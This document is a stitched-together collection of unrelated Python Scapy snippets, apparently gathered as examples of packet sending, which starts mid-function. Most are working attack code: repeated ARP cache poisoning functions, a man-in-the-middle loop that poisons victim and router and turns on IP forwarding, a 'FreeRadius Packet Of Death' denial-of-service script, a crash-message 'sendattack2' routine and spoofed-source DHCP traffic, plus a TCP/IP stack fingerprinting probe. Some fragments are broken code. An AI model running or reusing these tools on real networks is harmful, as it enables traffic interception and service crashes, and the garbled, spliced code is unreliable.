# Cleanup the iptables rule if use_fw: subprocess.check_call([ 'iptables', '-D', 'OUTPUT', '-p', 'tcp', '--tcp-flags', 'RST', 'RST', '-s', '%s' % ip.src, '-j', 'DROP' ]) return (stack_name_http, match_http)
def spoof(target_ip, spoof_ip): """the purpose of the function is to "lie" about my address and change the target's ARP table on the current IP to my MAC address """ packet = scapy.ARP(op=2, pdst=target_ip, hwdst=get_mac_address(target_ip), psrc=spoof_ip, hwsrc=my_mac_address) scapy.send(packet, verbose=True)
import scapy.all as scapy packet = scapy.ARP(op=2, pdst="10.0.2.2", hwdst="28:f1:0e:2f:76:d3", psrc="10.0.2.1") scapy.send(packet)
from scapy.all import IP, TCP, sr1, send src_ip = '127.0.0.1' src_port = 59333 dst_ip = '127.0.0.1' dst_port = 5000 # IP header ip_header = IP(dst=dst_ip, src=src_ip) # syn syn = TCP(dport=dst_port, sport=src_port, ack=1000, flags='S') # send syn response = sr1(ip_header/syn) # ack ack = TCP( dport=dst_port, sport=src_port, ack=response.seq + 1, seq=response.ack + 1, flags='A' ) # reply with ack send(ip_header/ack) print 'connection established: ....'
#!/usr/bin/env python # FreeRadius Packet Of Death # Matthew Gillespie 2009-09-11 # Requires RadiusAttr http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py # http://www.braindeadprojects.com/blog/what/freeradius-packet-of-death/ import sys from scapy.all import IP, UDP, send, Radius, RadiusAttr if len(sys.argv) != 2: print "Usage: radius_killer.py <radiushost>\n" sys.exit(1) PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \ Radius(code=1,authenticator="\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99",id=180)/ \ RadiusAttr(type=69,value="",len=2) send(PoD)
def icmpv4_probe(dst_host, timeout): icmptype_i = 0x8 icmptype_name_i = 'ICMP ECHO' icmptype_o = 0x0 icmptype_name_o = 'ICMP ECHO_REPLY' stack_name = None match = MATCH_NO_MATCH ip = IP(dst=dst_host, ttl=20, proto=0x01) # First, check if we can reach ICMP std_icmp_payload = '\xcd\x69\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17' \ '\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27' \ '\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=std_icmp_payload), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if not reply: return (stack_name, MATCH_NO_REPLY) # Nucleus Net will insert 22 zeros after the ICMP header in the reply, if the ICMP echo header didn't have any bytes after the header reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and reply.ttl == 64: if Padding in reply and reply[Padding].load == b'\x00' * 22: match = MATCH_HIGH stack_name = 'Nucleus Net' return (stack_name, match) # If there is no reply to the second ICMP packet, either the target IP cannot be reached (or ICMP is # disabled), or we deal with the CycloneTCP stack that will accept only ICMP packets that have at least 1 byte # of data. To check for CycloneTCP, we craft such a packet: we expect the 1 byte of data back + 17 zero bytes # of padding. Also both IP and ICMP checksums must be valid. else: reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) / Raw(load=b'\x41'), filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and reply.ttl == 64: if Raw in reply and Padding in reply and reply[ Raw].load == b'\x41' and reply[ Padding].load == 17 * b'\x00': match = MATCH_HIGH stack_name = 'CycloneTCP' return (stack_name, match) # Next, we prepare a packet that should work with uIP/Contiki and PicoTCP icmp_raw = b'\x08\x01\x02' ipv4_probe = ip / Raw(load=icmp_raw) # Send the malformed ICMP packet # If we get the expected reply it is either PicoTCP or uIP/Contiki: # - we first check that the TTL value of the echo packet is changed into 64 for the reply packet # - we then check the payload sequence of the echo reply packet reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) if reply and reply.ttl == 64: if (hexlify(reply.load) == b'0001ff'): match = MATCH_HIGH stack_name = 'PicoTCP' elif (hexlify(reply.load) == b'00010a'): match = MATCH_HIGH stack_name = 'uIP/Contiki' else: # we did not get a reply for the first malformed packet _id = 0xab _seq = 0xba # Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP( id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf) reply = sr1(ipv4_probe, filter='icmp[icmptype] = {}'.format(icmptype_o), timeout=timeout) # TTL value must be 64 as well if reply and reply.ttl == 64: if (reply[ICMP].id == _id and reply[ICMP].seq == _seq and reply[ICMP].type == 0x00): match = MATCH_MEDIUM stack_name = 'Nut/Net' # Here we handle all other cases if match == MATCH_NO_MATCH: # NDKTCPIP should reply to an ICMP packet that has at least 4 bytes of the header and a correct ICMP checksum # The code (2nd byte) must be 0x00 icmp_raw = b'\x08\x00\xf7\xff' ipv4_probe = ip / Raw(load=icmp_raw) # For some reason Scapy will not get the reply to this packet, so I had to use asynchronous sniffing t = AsyncSniffer(iface=interface) t.start() send(ipv4_probe) time.sleep(timeout * 3) pkts = t.stop() for pkt in pkts: # first, let's check the source and the destination IP if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src: # NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff if ICMP in pkt and pkt[ ICMP].type == 0x00 and pkt.ttl == 255 and pkt[ ICMP].chksum == 0xffff: match = MATCH_HIGH stack_name = 'NDKTCPIP' break return (stack_name, match)
import os, time from scapy.all import send, conf, sendp, srp1, sniff, Ether, IP, ARP, UDP, BOOTP, DHCP for x in range(1, 10): string_info = '.test.com 192.168.' + str(x) + '.2' #msg("Sending DHCPDISCOVER packet to discover DHCP servers",2) send( IP(src="9.9.9.9", dst="10.37.23.66") / UDP(sport=68, dport=67) / BOOTP(htype=1, hlen=24) / DHCP(options=[("message-type", "discover"), "end"])) time.sleep(.05) # for i in range(0,60000) # lookup_string = 'nslookup '+ str(i) + string_info # print lookup_string # os.system(lookup_string) # time.sleep(5)
def spoof(target_ip, spoof_ip): target_mac = get_mac_address(target_ip) #spoof target ip at target mac address with spoof ip packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet, verbose=False)
def send_tcp(src_ip, dst_ip, port, flags): ip = IP(src=src_ip, dst=dst_ip) tcp = TCP(dport=(port), flags=flags) pkt = IP / TCP send(pkt)
def restore(dest_ip,src_ip): dest_mac = get_mac(dest_ip) src_mac = get_mac(src_ip) packet = scapy.ARP(op=2, pdst=dest_ip,hwdst=dest_mac, psrc=src_ip, hwsrc=src_mac) scapy.send(packet, count=4, verbose=False)
from scapy.all import send, IP, ICMP send(IP(dst="192.168.3.100") / ICMP())
def send_pkts(self): conf.iface6 = helpers.INTERFACE for pkt in self.inst.crafts(): send(pkt, verbose=True) self.inst.add_to_snd(pkt)
def sendattack2(ipaddr, port): packet = IP(dst=ipaddr) / UDP(sport=5060, dport=port) / crashmsg sys.stdout.write("Attacking back %s:%s\r\n" % (ipaddr, port)) send(packet, verbose=0)
def arp_hack(ip, hw): #伪造来自网关的arp应答 t = p t.hwdst = hw t.pdst = ip send(t)
except (socket.gaierror, EOFError, NameError, KeyboardInterrupt, ValueError) as e: print("[INFO] Exiting program...") exit() try: ip_forward_flag = 1 while True: packet_to_victim = scapy.ARP(op=2, pdst=dst_ip, hwdst=dst_mac, psrc=src_routerip) packet_to_router = scapy.ARP(op=2, pdst=src_routerip, hwdst=router_mac, psrc=dst_ip) scapy.send(packet_to_victim, verbose=False) scapy.send(packet_to_router, verbose=False) if ip_forward_flag == 1: print("[INFO] Enabling IP Forwarding...") os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") print("[INFO] Done!") ip_forward_flag = 0 packets_sent = packets_sent + 2 print("\r[INFO] Packets Sent = " + str(packets_sent)), sys.stdout.flush() #print("\r[INFO] Packets Sent = " + str(packets_sent),end="") time.sleep(2) except (socket.gaierror, EOFError, NameError, KeyboardInterrupt, ValueError) as e: print("[INFO] Exiting program...") exit()
def spoof(targ, spoof): packet = scapy.ARP(op=2, pdst=targ, hwdst=mac(targ), psrc=spoof) scapy.send(packet, verbose=False)
def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) # print(packet.show()) # print(packet.summary()) scapy.send(packet, verbose=False)
def broadcastHints(self): self.l3.payload = self.message pkt = self.l2 / self.l3 send(pkt, verbose=False)